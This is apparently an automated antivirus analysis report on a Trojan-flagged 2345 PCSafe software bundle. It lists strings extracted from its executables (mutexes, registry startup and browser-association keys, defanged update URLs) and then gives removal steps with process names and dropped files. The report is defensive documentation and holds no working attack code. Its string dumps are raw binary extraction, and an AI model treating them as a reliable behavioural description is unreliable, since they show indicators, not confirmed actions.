" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:baef3774-14b7-3242-8f5e-231b8007766e" xmpMM:DocumentID="xmp.did:EC54DDE99FB411E4B06FDCB92EC6B9FC" xmpMM:InstanceID="xmp.iid:EC54DDE89FB411E4B06FDCB92EC6B9FC" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7d2f812d-e667-e54c-8015-4ce62771c38a" stRef:documentID="xmp.did:baef3774-14b7-3242-8f5e-231b8007766e"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>*
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:488A4B80970711E4A42BC303C6DC8A94" xmpMM:InstanceID="xmp.iid:488A4B7F970711E4A42BC303C6DC8A94" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:21ad712e-f677-2c4a-8067-4ae1398bf9d1" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>(
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:B7694EE8D50711E38F06E09953673EC6" xmpMM:InstanceID="xmp.iid:B7694EE7D50711E38F06E09953673EC6" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:82f390d6-2a74-6d42-8f5b-ea6afc21d9d0" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>)|,
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />
7|7
2/2U2h2n2r2x2
00S0h0u0
00D0K0v0
7%7u7
0&262`2~2
55Q5j5}5
4L4Q4j4}4
:%:2:?:^:~:
0(1 3*3@3
546>6.787
4*565@5`5
=0>4>8><>
<$<_< =@=\=
1)1.181~1
7-8Q8V8}8
9)9.9?9~9
0%1X1
3 3$3(3,3
8$8(8,8084888
1 1$1(1,101
4 4$4(4,4044484<4
1 1$1(1,10141
; ;$;(;,;0;4;8;<;@;`;
5 5$5(5,5
RC::RCRTProtector::Main
2345SafeCenter.cpp
uxtheme.dll
%s\%d.bmp
Failed loading bitmap %u
msimg32.dll
g%s\%d.%s
Failed loading %s %u
B%str
Failed loading string %u
shell32.dll, OpenAs_RunDLL %s
rundll32.exe
hXXp://bbs.2345.cn/forumdisplay.php?fid=17&f=2345index#quickpost
thunderplatform.exe
flashget3.exe
aliim.exe
qqdownload.exe
qq.exe
rtx.exe
2345explorer.exe
2345chrome.exe
%d-d-d d:d
user32.dll
RC::RCRTProtectCtrl::DirectStart
RCRTProtectCtrl.cpp
RC::RCRTProtectCtrl::CallStart
RC::RCRTProtectCtrl::GetStatus
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_MUTEX
RC::RCRTProtectTool::CreateRTMutex
RC::RCRTProtectTool::SetStatus
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_INITIALEVENT
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_STARTUPEVENT
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_CLOSEEVENT
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_SHOWEVENT
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_UPDATESTATUSEVENT
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_SETTINGSTATUSEVENT
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_GLOBALDATA_MUTEX
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_GLOBALDATA_INITIAL
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_FILE_MAPPING_MUTEX
CallStartGlobalData %s
..\ScanCommon\RCGlobalDataCtrl.cpp
CreateGlobalDataMutex %s
SetGlobalData = %d
CreateEvents %s, isExist %d
CloseGlobalData %d
ShowQuarantine %d
NotifyAddQuarantine %d
ShowTrust %d
NotifyAddTrust %d
monitorcfg.dat
hXXp://update.antivirus.2345.com/dbupdate/check.php
lnotifySeg = %d, Process = %s, File = %s ,target = %s, Operator = %d, isPost = %d
RCSafeCenter.cpp
lnotifySeg = %d, Process = %s, File = %s ,target = %s
notify event lNotifySeg = %d
add to log file = %s, level = %d, operType = %d
notify event to UI file = %s, level = %d, operType = %d
RCClassNotify.cpp
RCDriverMon.cpp
Add PriorProcess %d with %s
RCSafeMonitor::StartMonitor AddMonitorItem execption
ZUnmaped index %d
RCSafeMonitor.cpp
ZAvMonitorLog.dat
RCMonFileScan.cpp
Got task event %d of %d
2345TestBlackList.exe
2345.test.black.list
Start to calc MD5 for %s useDriver = %d
Time spend %d
Calc MD5 = %s
CalcFileMD5 %s failed
Add File Query Task %d
RCMonFileScan::AddFileQueryTask execption
miss one call back id = %d
HKEY_CURRENT_CONFIG
HKEY_USERS
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
2345MonCfg.data
File %s is 2345
RCFileSystemNotify.cpp
.jpeg
.tiff
.keep
RC::RCRtxNotify::CheckTempPath
RCChatNotify.cpp
RCAvScanUtils.cpp
RCAvScanUtils::CalcFileMD5 execption
SetThreadPriority execption
ZRCAvOperatorCMDIMPL::AsyncOperator execption
RC::RCAvOperatorCMDIMPL::AsyncOperator
RCAvOperatorCMDIMPL.cpp
RCAvOperatorQuarantineFile::OperatorImpl
RC::RCAvOperatorQuarantineFile::OperatorImpl
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
RegDeleteValue failed, error = %d
RC::RCAvOperatorQuarantineStartUp::OperatorImpl
RCAvOperatorQuarantineStartUp::OperatorImpl
RCAvOperatorRecoverQuarantine::OperatorImpl
RC::RCAvOperatorRecoverQuarantine::OperatorImpl
RCAvOperatorTrustQuarantine::OperatorImpl
RC::RCAvOperatorTrustQuarantine::OperatorImpl
RCAvOperatorDeleteQuarantine::OperatorImpl
RC::RCAvOperatorDeleteQuarantine::OperatorImpl
RCAvOperatorTrustFile::OperatorImpl
RC::RCAvOperatorTrustFile::OperatorImpl
RCAvOperatorUnTrust::OperatorImpl
RC::RCAvOperatorUnTrust::OperatorImpl
Fmiss on result %d
RCEngineMgr.cpp
F2345AvScan.dll
RCAvScanProxy.cpp
2345AvScan.exe
GQuarantine.data
RCAvFileQuarantine::QuarantineFile file = %s
RCAvFileQuarantine.cpp
%s%I64x
RCAvFileQuarantine::QuarantineFile tempFile = %s, qfile = %s
Copy file failed with %d!
Compress file failed with %d!
RCAvFileQuarantine::QuarantineFile execption
%s\%s(%x)%s
RCAvFileQuarantine::RestoreQuarantineFile file = %s
RCAvFileQuarantine::RestoreQuarantineFile execption
RCAvFileQuarantine::DeleteQuarantineFile file = %s
RCAvFileQuarantine::DeleteQuarantineFile execption
RCAvFileQuarantine::GetQuarantineFileCount execption
F2345AvScan-RCAvTrustDb{EF6AFE40-9F37-476e-9541-5DDA5E41D073}
2345AvScanT.data
000000000000
RCAvTrustDb::Initialize execption
RCAvTrustDb.cpp
RCAvTrustDb::SaveTrustData execption
RCAvTrustDb::GetTrustItem execption
RCAvTrustDb::AddTrustItem execption
RCAvTrustDb::RemoveTrustItem execption
scan_reg_key
H2345Log.ini
2345AvScan\2345Log.ini
[%s %s] >> %s [%s] %s << [%s(%d)][%s %d]
HGlobal\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_FILE_MAPPING
Create File Mapping %s
Frame\RCGlobalCtrl.cpp
Create file mapping failed with %d
mapping failed with %d
File Mapping count    %d
File Mapping count = %d
GetAddress failed with %d
RC::RCGlobalCtrlImpl::Init::<lambda_e799d70cdef66da47f300a71ba33714c>::operator ()
File Mapping count -- %d
RC::RCGlobalCtrlImpl::UnInit::<lambda_1822cdb7c91ce1fd4feaeab3a1b28022>::operator ()
Open File Mapping %s
Open File Mapping failed with %d
Mapping failed with %d
Registe item = %s
RCWindowUtil.cpp
rccfginfo.tmp
C71580E1-6EAE-4024-9967-B33F25AC7FAF
SERVER_URL
pid=%s&type=%s&key=%s
&type=%s&ver=%d
r.org
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.8888.8888;)
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
RCShellUtils.cpp
DoParseLinkFile linkFile = %s, workingDir = %s
Msi.dll
detailerror.html
originalPath = %s
retPath = %s
xxxxxxxxxxxxxxxx
IAdvapi32.dll
Coral-{9BB4EBA7-26A1-41de-AE0C-95467A1AED6F}
okernel32.dll
ntoskrnl.exe
SYSTEM\CurrentControlSet\Control\Windows
Kernel32.dll
JhXXps://
hXXp://
psapi.dll
advapi32.dll
RCShareRestrictedSD.cpp
https
USER32.DLL
wdwmapi.dll
Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice
http\shell\open\command
Software\Classes\.html
2345Browser.exe
2345Explorer.exe
SOFTWARE\2345chrome
Shlwapi.dll
%programfiles(x86)%\Internet Explorer\iexplore.exe
%programfiles%\Internet Explorer\iexplore.exe
2345.com
wintrust.dll
crypt32.dll
AdvApi32.dll
M%sD.%.03d.%.03d
ZX
tCryptdll.dll
oIphlpapi.dll
netapi32.dll
xxxxxx
SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards
SYSTEM\CurrentControlSet\Control\Network\{4D36E972-E325-11CE-BFC1-08002BE10318}\
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
RCAvScanDb::AddItem execption
..\ScanCommon\RCAvScanDbUtils.cpp
RCAvScanDb::GetItem execption
RCAvScanDb::RemoveItem execption
RCAvScanDb::IsitemExist execption
RCAvScanDb::ConvertToFileInfo execption
PRIMARY KEY AUTOINCREMENT
Open db %s failed
RCAvTaskThread.cpp
RCAvTaskThread::AddTask execption
RCEventMsgWindow
RC::RCSQLite3DB::ExecSQL
select count(*) from sqlite_master where type='table' and name='%s'
DbUtils\RCSQLite3DB.cpp
hXXp://VVV.2345.com
1.0.3.5360
Copyright (C) 2015 2345.com
2345RTProtect.exe

2345AvScan.exe_2092:

.text
`.rdata
@.data
.rsrc
@.reloc
CryptCATCatalogInfoFromContext
CertNameToStrW
2345.com--
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
GetProcessWindowStation
operator
D:\develop\2345guard\2345AvScan\bin\Win32\release_static\pdb\2345AvScan.pdb
KERNEL32.dll
USER32.dll
ole32.dll
GetProcessHeap
GetCPInfo
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
3-4R4d4}4
=(=4=<=\=
3 3<3@3\3`3
2345.com
wintrust.dll
crypt32.dll
AdvApi32.dll
combase.dll
mscoree.dll
- CRT not initialized
- Attempt to initialize the CRT more than once.
- floating point support not loaded
kernel32.dll
USER32.DLL
%Program Files%\2345Soft\2345PCSafe\2345AvScan.exe
VVV.2345.com
1.5.0.4418
(c) 2014, 2345.com
2345AvScan.exe
1.5.0

2345AvScan.exe_2236:

.text
`.rdata
@.data
.rsrc
@.reloc
CryptCATCatalogInfoFromContext
CertNameToStrW
2345.com--
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
GetProcessWindowStation
operator
D:\develop\2345guard\2345AvScan\bin\Win32\release_static\pdb\2345AvScan.pdb
KERNEL32.dll
USER32.dll
ole32.dll
GetProcessHeap
GetCPInfo
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
3-4R4d4}4
=(=4=<=\=
3 3<3@3\3`3
2345.com
wintrust.dll
crypt32.dll
AdvApi32.dll
combase.dll
mscoree.dll
- CRT not initialized
- Attempt to initialize the CRT more than once.
- floating point support not loaded
kernel32.dll
USER32.DLL
%Program Files%\2345Soft\2345PCSafe\2345AvScan.exe
VVV.2345.com
1.5.0.4418
(c) 2014, 2345.com
2345AvScan.exe
1.5.0

2345SFGuard.exe_2368:

.text
`.rdata
@.data
.rsrc
@.reloc
8%u(j
j.Yf;
_tcPVj@
.PjRW
RegOpenKeyTransactedW
RegCreateKeyTransactedW
RegDeleteKeyTransactedW
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
0123456789-
%b %d %H : %M : %S %Y
%m / %d / %y
%I : %M : %S %p
%d / %m / %y
GetProcessWindowStation
operator
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
userinit.exe
RegDeleteKeyExW
Windows XP: GB18030 Simplified Chinese (4 Byte)
CryptCATCatalogInfoFromContext
CertNameToStrW
COMCTL32.DLL
User32.dll
Shell32.dll
ShellExecuteExW
RegOpenKeyExW
RegCloseKey
ShellExecuteW
2345.com--
F:\2345
\1.3.0.5362\Private\2345SafeHook\bin\Win32\release_static\pdb\2345SFGuard.pdb
VERSION.dll
GetProcessHeap
GetWindowsDirectoryW
KERNEL32.dll
USER32.dll
RegCreateKeyExW
RegDeleteKeyW
RegEnumKeyExW
RegQueryInfoKeyW
RegCreateKeyExA
ADVAPI32.dll
SHFileOperationW
SHELL32.dll
ole32.dll
OLEAUT32.dll
SHDeleteKeyW
SHLWAPI.dll
WININET.dll
PSAPI.DLL
IPHLPAPI.DLL
GetCPInfo
zcÁ
%Program Files%\2345Soft\2345PCSafe\2345SFGuard.exe
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />
1.2<2^2}2
4B4f4n4}4
5b6D6i6~6
5#5'5 5/53575;5?5
5-5B5x5}5
2 2<2@2\2`2
> >$>(>4><>
2345SFGuard.cpp
2345SFGuard64.exe
2345SFGuard.exe
Global\RC_SAFE_C6D58EED-1BA6-4305-8557-4008C83214E3
Global\RC_SAFE_50B25F0D-DC3D-4FBC-AB79-7CDD498FF951
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
Global\RC_SAFE_EC0D351F-8E09-40FB-91BD-237B98A960D5
2345SFBase.dll
2345SFBase64.dll
src\RCSafeRemoteMonitor.cpp
e2345SFEMon64.dll
2345SFWebMon.dll
2345SFWebMon64.dll
2345SFEMon.dll
Global\RC_SAFE_320E8FC8-E998-4968-B3C6-9EABC82D87AA
Global\RC_SAFE_F4EEB593-85C1-43BC-84AB-DF61F37258AB
combase.dll
- CRT not initialized
- Attempt to initialize the CRT more than once.
- floating point support not loaded
mscoree.dll
USER32.DLL
nADVAPI32.DLL
portuguese-brazilian
Kernel32.dll
psapi.dll
advapi32.dll
okernel32.dll
ntoskrnl.exe
SYSTEM\CurrentControlSet\Control\Windows
RCWindowUtil.cpp
RCShellUtils.cpp
DoParseLinkFile linkFile = %s, workingDir = %s
Msi.dll
detailerror.html
originalPath = %s
retPath = %s
xxxxxxxxxxxxxxxx
2345Log.ini
2345AvScan\2345Log.ini
[%s %s] >> %s [%s] %s << [%s(%d)][%s %d]
Advapi32.dll
WCreateMutex hMutex:0xx, ERROR: 0xx, Name:%s
CreateMutex: GetSecurityDescriptor ERROR: 0xx
%s_%d
[%Y-%m-%d %H:%M:%S]
_log.log
%sD.%.03d.%.03d
2345.com
wintrust.dll
crypt32.dll
AdvApi32.dll
%programfiles%\Internet Explorer\iexplore.exe
%programfiles(x86)%\Internet Explorer\iexplore.exe
Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice
http\shell\open\command
Software\Classes\.html
2345Browser.exe
2345Explorer.exe
2345chrome.exe
SOFTWARE\2345chrome
Shlwapi.dll
hXXp://VVV.2345.com
1.3.0.5287
(c) 2015, 2345.com
1.3.0


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    ³ÉÆ·.exe:1908
    2345SFGuard.exe:2368
    2345SoftSvc.exe:136
    2345RTProtect.exe:2136
    2345AvScan.exe:2092
    2345AvScan.exe:2236
    2345AvScan.exe:552
    2345SoftMgr.exe:1948
    2345SoftMgr.exe:1548
    2345SoftMgr.exe:588
    2345SoftMgr.exe:228
    2345ExtShell.exe:1164
    2345ExtShell.exe:244
    2345ShellPro.exe:1128
    2345ShellPro.exe:460
    2345ShellPro.exe:480
    ºÇºÇ.exe:1316
    2345softmgr_setup.exe:1888
    2345SafeSvc.exe:408
    2345pcsafe_k1742288.exe:1488

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Application Data\2345AvScan\Quarantine.data-journal (1808 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\EK21GOA4\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0LARCTEJ\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Application Data\2345PCSafe\config\exam.ini (179 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WP2Z412Z\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CX67KLI7\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RS#D.tmp (1269 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RS#10.tmp (1573 bytes)
    %Documents and Settings%\%current user%\Favorites (4 bytes)
    %Documents and Settings%\All Users\APPLICATION DATA (4 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\index.dat (400 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\wireshark.txt (4 bytes)
    %Documents and Settings%\%current user%\Application Data\2345AntiVirus\rccfginfo.tmp (29 bytes)
    %WinDir% (8 bytes)
    C:\$Directory (2980 bytes)
    %Program Files%\Windows NT (4 bytes)
    %System% (2672 bytes)
    %Program Files%\2345Soft\2345PCSafe (96 bytes)
    %Program Files%\2345Soft\2345SoftMgr (4 bytes)
    %System%\config (4 bytes)
    %Documents and Settings%\%current user%\Application Data\2345AvScan\2345MonCfg.data (29 bytes)
    %Documents and Settings%\%current user%\Local Settings\History\History.IE5\index.dat (16 bytes)
    %Documents and Settings%\%current user%\Cookies\index.dat (16 bytes)
    %Program Files%\2345Soft\2345PCSafe\Data\monitorcfg.dat.tmp (29 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RS#16.tmp (1541 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RS#11.tmp (1269 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RS#15.tmp (1541 bytes)
    %Documents and Settings%\%current user%\Application Data\2345PCSafe\2345UpdateConfig.ini (687 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RS#12.tmp (1397 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RS#13.tmp (1541 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RS#14.tmp (1541 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RS#E.tmp (197 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\2345安全中心\2345软件管家\2345软件管家.lnk (1 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\2345安全中心\2345软件管家\卸载2345软件管家.lnk (1 bytes)
    %Documents and Settings%\All Users\Start Menu\Programs\2345安全中心\2345软件管家\卸载2345软件管家.lnk (1 bytes)
    %Documents and Settings%\%current user%\Start Menu\2345软件管家.lnk (1 bytes)
    %Documents and Settings%\%current user%\Desktop\2345软件管家.lnk (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RS#B.tmp (197 bytes)
    %Documents and Settings%\%current user%\Application Data\2345SoftMgr\config\softmgr (29 bytes)
    %Documents and Settings%\%current user%\Start Menu\强力卸载电脑中的软件 .lnk (1 bytes)
    %Documents and Settings%\All Users\Start Menu\Programs\2345安全中心\2345软件管家\2345软件管家.lnk (1 bytes)
    C:\ºÇºÇ.exe (85707 bytes)
    C:\³ÉÆ·.exe (5442 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RS#A.tmp (997 bytes)
    %System%\config\SYSTEM.LOG (12371 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RS#7.tmp (485 bytes)
    %System%\drivers\2345FsMon.sys (55 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RS#8.tmp (725 bytes)
    %System%\config\system (5919 bytes)
    %System%\drivers\2345NetMon.sys (28 bytes)
    %Documents and Settings%\%current user%\Application Data\2345PCSafe\2345Config.data (29 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RS#9.tmp (885 bytes)
    %System%\drivers\2345RegMon.sys (90 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\2345安全中心\2345安全卫士\2345安全卫士.lnk (1 bytes)
    %Documents and Settings%\All Users\Start Menu\Programs\2345安全中心\2345安全卫士\2345安全卫士.lnk (1 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\2345安全中心\2345安全卫士\卸载2345安全卫士.lnk (1 bytes)
    %Documents and Settings%\%current user%\Desktop\2345安全卫士.lnk (1 bytes)
    %Documents and Settings%\All Users\Start Menu\Programs\2345安全中心\2345安全卫士\卸载2345安全卫士.lnk (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\HZ$D.980.4448\2345pcsafe_k1742288.exe (84488 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\HZ~C.tmp.bat (84 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345soft\icon\softuninstall.ico (5 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftUninstall.dll (3754 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SafeUpdate.dll (239 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345SafeDispatcher.dll (2321 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345SoftLocal.dll (4545 bytes)
    %Program Files%\2345Soft\2345SoftMgr\sqlite3.dll (3361 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\sqlite3.dll (1808 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftBox.dll (15021 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345SafeUpdate.dll (1281 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftService.dll (92 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftMgrDB.dll (3883 bytes)
    %Program Files%\2345Soft\2345SoftMgr\msvcr110.dll (6316 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SafeDispatcher.dll (1703 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftLib.dll (1723 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SafeDispatcher.dll (1703 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SafeUpdate.dll (239 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345SoftUtils.dll (1425 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftLocal.dll (3744 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345SoftUninstall.dll (4545 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345SoftBox.dll (15799 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345softNotify.exe (3361 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345SoftMgrDB.dll (5873 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftMgrDB.dll (3883 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftNotify.exe (1859 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345SoftSvc.exe (1281 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345SoftLib.dll (2321 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345soft\data\2345softuninst2.dat (334176 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345soft\data\2345font (8184 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftMgr.exe (15801 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftInstaller.exe (1650 bytes)
    %Program Files%\2345Soft\2345SoftMgr\Uninstall.exe (3910 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SafeDB.dll (134 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftLocal.dll (3744 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345soft\icon\softupdateremind.ico (6360 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsi6.tmp\System.dll (784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\msvcr110.dll (6316 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftLib.dll (1723 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345soft\data\2345softclass.dat (1552 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftUtils.dll (262 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345SoftInstaller.exe (2105 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftUtils.dll (262 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345SafeDB.dll (673 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftMgr.exe (15801 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsi6.tmp\FileInfo.dll (4992 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345SoftMgr.exe (32873 bytes)
    %Program Files%\2345Soft\2345SoftMgr\msvcp110.dll (1816 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345soft\icon\defaultsoft.ico (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\instp\2345SoftSvc.exe (235 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftBox.dll (15021 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nss5.tmp (363999 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\msvcp110.dll (1816 bytes)
    %Program Files%\2345Soft\2345SoftMgr\2345SoftService.dll (601 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\2345SoftMgr\untp\2345SoftUninstall.dll (3754 bytes)
    %Program Files%\2345Soft\2345PCSafe\sqlite3.dll (1808 bytes)
